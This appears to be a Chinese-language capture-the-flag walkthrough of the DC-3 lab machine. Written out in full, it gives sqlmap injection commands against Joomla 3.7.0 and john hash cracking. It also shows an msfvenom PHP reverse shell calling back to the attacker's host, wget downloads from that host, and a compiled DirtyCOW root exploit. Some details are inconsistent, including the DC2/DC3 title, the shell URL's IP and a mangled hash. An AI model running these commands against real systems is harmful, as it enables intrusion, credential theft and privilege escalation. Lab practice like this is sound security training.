
【DC3靶场通过详细记录】
DC2靶场通关记录
环境搭建
- DC3靶场下载,点击下载,
https://www.five86.com/downloads/DC-3-2.zip
- 安装DC3靶场,无法正常启动虚拟机,需要进行环境配置,即在CD/DVD的高级设置中将IDE选项的设置为0:0。
- 实验前提kali和DC3靶场的网络连接为统一模式(NET或桥接),NET模式时主机的虚拟网卡要开启。
信息收集
确定目标IP
进行扫描IP,确定靶场IP地址,使用以下命令
arp-scan -l
扫描目标端口及服务
进行端口以及服务的扫描,使用以下命令
nmap -p- -sV -A 192.168.223.131
指纹识别
- 对靶场进行指纹识别,使用以下命令
whatweb http://192.168.223.131
经过扫描,发现了使用的CMS为joomla,但未发现版本号
- 扫描结果:
- 使用Apache的中间件,版本为2.4.18
- 使用的操作系统为Ubuntu
- CMS为joomla
- 因为未发现版本号,尝试使用命令相关选项,依旧未得到版本号
尝试相关命令:
whatweb -v http://192.168.223.131
- 尝试安装相关的CMS扫描工具,使用以下命令
1 | apt-get install joomscan//安装joomscan的cms扫描工具
- 使用该工具进行扫描,得到了相关的版本号:joomla 3.7.0
1 | joomscan -u http://192.168.223.131
目录爆破
对靶场进行目录爆破,使用以下命令:
dirb http://192.168.223.131
CMS漏洞利用
搜索CMS相关漏洞
- 在漏洞数据库中搜索cms的版本,查看该版本是否有漏洞,经过查询发现了相关版本的数据注入漏洞
- 点击进入,查看漏洞使用方法,显示了使用sqlmap进行漏洞利用的方法
sqlmap进行sql注入
- 利用漏洞数据库给出的sqlmap利用方法,使用以下命令进行SQL注入
sqlmap -u "http://网站的IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
根据结果得到,该sql注入类型为:
- 时间盲注
- 显错注入
sql注入得出数据库的内容,总共五个数据库
- 对相关的数据库进行爆表操作,使用以下命令:
sqlmap -u "http://192.168.223.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
- 对相关的数据表进行dump操作,使用以下命令:
sqlmap -u "http://192.168.223.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --dump -p list[fullordering]
根据操作结果,得到了数据表的全部内容,其中admin的密码进行了加密。
- 将加密的密码复制到文档中,保存尝试使用密码解密工具进行解密
$2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
- 使用解密工具john进行解密,得到结果为snoopy
john pass.txt
- 通过破解出来的密码,尝试账号密码登陆
- 登录成功
- 登陆成功后查看网站内容,找到了可以运行php文件的位置
- 创建一个新的空php文件用来粘贴下一步生产的反弹shell木马
内核提权
生成反弹shell木马
- 通过sql注入成功后得到密码登录后,网站内部可运行php文件,则生成相关的php木马,使用以下命令生成php的反弹shell
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.223.129 lport=4445 -f raw -o shell.php
- 将生成的木马文件内容复制到web网站的新建的shell.php文件中
MSF进行监听
- 使用msfconsole,使用以下命令进行配置
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.223.129
set lport 4445
show options
run
- 由于此时还未访问木马文件,监听不到shell
- 结合信息收集得到的可用目录内容和网站页面的信息,组合得到木马文件的路径:
- 木马文件的路径
http://192.168.223.129/templates/beez3/shell.php
- 访问木马文件,使得木马文件的代码运行
- msf成功监听到木马反弹的shell
内核提权操作
- 在获得shell中使用python生成交互式shell,并查看内核版本
python -c "import pty;pty.spawn('/bin/bash')"
uname -a
内核版本为:linux 4.4.0,可能存在内核漏洞
- 在kali中新开一个终端,使用python开启一个http服务,使用以下命令
python -m http.server
- 通过wget向靶场上传一个内核漏洞检测脚本,使用以下命令
wget 192.168.223.129:8000/l.sh
- 查看脚本上传是否成功,是否有执行权限,并执行该脚本
ls -l
chmod 777 l.sh
./l.sh
- 该脚本检测出来了dirtycow漏洞,可以使用内核提权
- 访问给出的链接,链接页面失效
- 使用kali自带的漏洞搜索工具:searchsploit,使用以下命令,并将漏洞利用文件保存出来
searchsploit dirty cow
searchsploit -m 40847.cpp
- 将该漏洞利用文件上传到目标靶机上
wget 192.168.223.129:8000/40847.cpp
- 查看该漏洞文件中自带的使用方法:
- 查看漏洞文件,对文件进行gcc编译,然后查看是否有编译后的文件,最后执行,命令如下
ls
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
ls
./dcow -s
the-flag
提权成功后查看当前目录下文件:
ls
cat the-flag.txt
总结
- 漏洞数据库进行漏洞搜索,进行漏洞利用,漏洞数据库网址:
https://www.exploit-db.com/
- sqlmap的使用:sql注入
- john爆破密码:对加密的密码进行解密
- msf的使用:生成反弹shell的木马和进行反弹shell监听
- linux内核漏洞检测脚本:linux-exploit-suggester.sh,可以直接在github下载,下载链接
https://github.com/The-Z-Labs/linux-exploit-suggester
更多推荐
所有评论(0)